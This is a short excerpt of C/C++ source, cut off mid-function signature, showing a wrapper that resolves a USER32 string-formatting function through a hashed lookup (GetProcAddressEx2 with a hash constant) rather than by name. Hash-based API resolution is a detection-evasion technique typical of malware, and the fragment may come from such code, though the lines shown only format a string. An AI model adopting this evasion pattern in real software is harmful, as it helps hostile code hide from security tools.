LPCWSTR Format, 1913 | va_list arglist 1914 | ) 1915 | { 1916 | int(WINAPI * pFunction)(LPWSTR, LPCWSTR, va_list); 1917 | pFunction = (int(WINAPI*)(LPWSTR, LPCWSTR, va_list))api::GetProcAddressEx2(NULL, USER32_MODULE_ID, 0xc88071b1, 95); 1918 | return pFunction(Buf, Format, arglist); 1919 | } --------------------------------------------------------------------------------